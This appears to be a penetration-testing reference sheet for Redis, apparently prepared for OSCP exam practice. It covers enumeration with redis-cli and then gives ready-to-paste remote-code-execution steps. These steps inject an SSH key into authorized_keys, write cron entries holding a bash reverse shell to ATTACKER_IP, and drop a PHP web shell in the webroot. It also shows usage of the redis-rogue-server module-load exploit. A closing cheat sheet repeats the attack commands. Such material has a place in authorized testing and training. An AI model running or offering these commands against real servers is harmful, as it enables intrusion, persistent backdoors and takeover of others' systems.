Redis — Complete Reference

Ctrl+F: redis-cli · 6379 · config set dir · redis-rogue-server · rogue master · exp.so

What is Redis?

Redis is an in-memory key-value store used for caching, sessions, and message queues. Runs on port 6379/TCP. Older/misconfigured instances often have no authentication.

OSCP use: Unauthenticated Redis is extremely common. You can write files to disk (SSH keys, cron jobs) to get code execution.


Install (Kali)

sudo apt update && sudo apt install -y redis-tools

Verify: redis-cli --version

Full install index → Installation - Kali Setup


Port

PortService
6379/TCPRedis

Syntax

redis-cli [options] [command [arg ...]]

📌 1) Connection Flags

FlagDescription
-h HOSTRemote host (default: 127.0.0.1)
-p PORTPort (default: 6379)
-a PASSWORDAuth password (use early — before other commands)
-u URIRedis URI (redis://user:pass@host:port/db)
-n DATABASEDatabase number (0–15, default: 0)
-xRead last argument from STDIN (for SET with file content)
--rawRaw string output (no formatting)
--no-rawForce formatted output
-r REPEATRepeat command REPEAT times
-i INTERVALInterval between -r repeats (seconds)
-d DELIMITERDelimiter between -r outputs
-cCluster mode
--statLive stats mode
--latencyLatency measurement mode
--bigkeysScan for big keys
--scanScan keys (like KEYS * but incremental)
--pipeMass-insert mode
--pipe-timeout SECTimeout for --pipe
--csvCSV output
--helpHelp

📌 2) Connecting

# Basic (no auth)
redis-cli -h 10.10.10.10
 
# With password
redis-cli -h 10.10.10.10 -a password
 
# Custom port
redis-cli -h 10.10.10.10 -p 6380
 
# Specific database
redis-cli -h 10.10.10.10 -n 1
 
# URI format
redis-cli -u redis://10.10.10.10:6379
redis-cli -u redis://:password@10.10.10.10:6379
 
# One-liner commands (non-interactive)
redis-cli -h 10.10.10.10 ping
redis-cli -h 10.10.10.10 info
redis-cli -h 10.10.10.10 keys '*'

📌 3) Nmap Enumeration

nmap -p 6379 -sV 10.10.10.10
nmap -p 6379 --script redis-info 10.10.10.10

📌 4) Enumeration Commands

# Check if alive
redis-cli -h 10.10.10.10 ping          # PONG = alive
 
# Server info (version, OS, config paths)
redis-cli -h 10.10.10.10 info
redis-cli -h 10.10.10.10 info server
redis-cli -h 10.10.10.10 info replication
 
# All config values
redis-cli -h 10.10.10.10 config get '*'
redis-cli -h 10.10.10.10 config get dir
redis-cli -h 10.10.10.10 config get dbfilename
 
# List all keys
redis-cli -h 10.10.10.10 keys '*'
redis-cli -h 10.10.10.10 --scan
 
# Read a key
redis-cli -h 10.10.10.10 get keyname
redis-cli -h 10.10.10.10 type keyname
redis-cli -h 10.10.10.10 lrange listkey 0 -1    # list type
redis-cli -h 10.10.10.10 smembers setkey        # set type
redis-cli -h 10.10.10.10 hgetall hashkey        # hash type
 
# Dump all keys and values
redis-cli -h 10.10.10.10 --scan | while read key; do echo "=== $key ==="; redis-cli -h 10.10.10.10 get "$key"; done

Interactive redis-cli Commands

PING            -- Check connection
INFO            -- Server info
CONFIG GET *    -- All config
KEYS *          -- List keys (avoid on production — use SCAN)
GET key         -- Get string value
SET key value   -- Set value
TYPE key        -- Key type
DBSIZE          -- Number of keys
SELECT N        -- Switch database (0-15)
FLUSHALL        -- Delete all keys (destructive!)
QUIT            -- Exit

📌 5) RCE — SSH Key Injection

Write your public key to authorized_keys if Redis can write to a user’s .ssh directory:

# 1. Generate SSH key
ssh-keygen -t rsa -f /tmp/redis_key -N ""
 
# 2. Check writable dir
redis-cli -h 10.10.10.10 config get dir
redis-cli -h 10.10.10.10 config get dbfilename
 
# 3. Set Redis to write to .ssh
redis-cli -h 10.10.10.10 config set dir /home/redis/.ssh
redis-cli -h 10.10.10.10 config set dbfilename authorized_keys
 
# 4. Write public key (prepend newline + ssh-rsa format)
(echo -e '\n\n'; cat /tmp/redis_key.pub) | redis-cli -h 10.10.10.10 -x set crackit
 
# 5. Save to disk
redis-cli -h 10.10.10.10 save
# or
redis-cli -h 10.10.10.10 bgsave
 
# 6. SSH in
ssh -i /tmp/redis_key redis@10.10.10.10

📌 6) RCE — Cron Job Write

If /var/spool/cron/crontabs/ or /etc/cron.d/ is writable:

# Cron method (run as root if cron runs as root)
redis-cli -h 10.10.10.10 config set dir /var/spool/cron/crontabs
redis-cli -h 10.10.10.10 config set dbfilename root
redis-cli -h 10.10.10.10 set evil "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n"
redis-cli -h 10.10.10.10 save
 
# Alternative: /etc/cron.d/
redis-cli -h 10.10.10.10 config set dir /etc/cron.d
redis-cli -h 10.10.10.10 config set dbfilename redispwn
redis-cli -h 10.10.10.10 set evil "\n\n*/1 * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n"
redis-cli -h 10.10.10.10 save

📌 7) Web Shell Write (if webroot writable)

redis-cli -h 10.10.10.10 config set dir /var/www/html
redis-cli -h 10.10.10.10 config set dbfilename shell.php
redis-cli -h 10.10.10.10 set evil "<?php system($_GET['cmd']); ?>"
redis-cli -h 10.10.10.10 save
curl "http://10.10.10.10/shell.php?cmd=id"

📌 8) RCE — redis-rogue-server (module load)

Repo: n0b0dyCN/redis-rogue-server

Exploit for Redis ≤ 5.0.5 — rogue Redis server tricks the target into SLAVEOF sync, then loads a malicious Redis module (exp.so) for RCE. Supports interactive shell and reverse shell (no writable dir / cron path needed).

Inspired by Redis post-exploitation (ZeroNights 2018).

Requires: Python 3.6+ on Kali. Target must allow SLAVEOF / module load (unauthenticated or known password).

Install (Kali)

git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server
 
# exp.so included — recompile only if you modify the module:
# cd RedisModulesSDK/exp/ && make && cp exp.so ../..

Usage

./redis-rogue-server.py -h
 
# Basic — interactive shell
./redis-rogue-server.py --rhost 10.10.10.10 --lhost 10.10.14.3
 
# Custom ports
./redis-rogue-server.py --rhost 10.10.10.10 --rport 6379 --lhost 10.10.14.3 --lport 21000
 
# Authenticated Redis (if -a password known)
./redis-rogue-server.py --rhost 10.10.10.10 --lhost 10.10.14.3 --pass REDIS_PASSWORD
FlagDescription
--rhostTarget Redis host
--rportTarget port (default 6379)
--lhostRogue server IP (your Kali — reachable by target)
--lportRogue server listen port (default 21000)
--expModule file (default exp.so)
--passRedis password (optional)
-vVerbose data stream

Interactive shell

./redis-rogue-server.py --rhost 10.10.10.10 --lhost 10.10.14.3
# ...
# What do u want, [i]nteractive shell or [r]everse shell: i
# [<<] whoami
# [>>] :redis

Reverse shell

# Kali
nc -lvnp 9999
 
# Run exploit — choose [r]everse shell when prompted
./redis-rogue-server.py --rhost 10.10.10.10 --lhost 10.10.14.3
# Reverse server address: 10.10.14.3
# Reverse server port: 9999

When to use vs §5–§7: Target Redis is old (≤5.0.5), config set dir fails (protected-mode / no writable path), but SLAVEOF still works.

Shell · Netcat · UseCases for ports > Port 6379 — Redis


📌 Quick Cheat Sheet (Copy/Paste)

# ─── CONNECT & CHECK ──────────────────────────────────────────
redis-cli -h TARGET ping
redis-cli -h TARGET info
redis-cli -h TARGET -a password ping
 
# ─── ENUMERATE ────────────────────────────────────────────────
redis-cli -h TARGET config get '*'
redis-cli -h TARGET keys '*'
redis-cli -h TARGET get keyname
 
# ─── SSH KEY RCE ──────────────────────────────────────────────
ssh-keygen -t rsa -f /tmp/redis_key -N ""
redis-cli -h TARGET config set dir /home/redis/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
(echo -e '\n\n'; cat /tmp/redis_key.pub) | redis-cli -h TARGET -x set crackit
redis-cli -h TARGET save
ssh -i /tmp/redis_key redis@TARGET
 
# ─── CRON RCE ─────────────────────────────────────────────────
redis-cli -h TARGET config set dir /var/spool/cron/crontabs
redis-cli -h TARGET config set dbfilename root
redis-cli -h TARGET set evil "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
redis-cli -h TARGET save
 
# ─── ROGUE SERVER RCE (Redis ≤5.0.5) ───────────────────────────
git clone https://github.com/n0b0dyCN/redis-rogue-server.git && cd redis-rogue-server
./redis-rogue-server.py --rhost TARGET --lhost KALI_IP
# i = interactive shell · r = reverse shell (nc -lvnp 9999)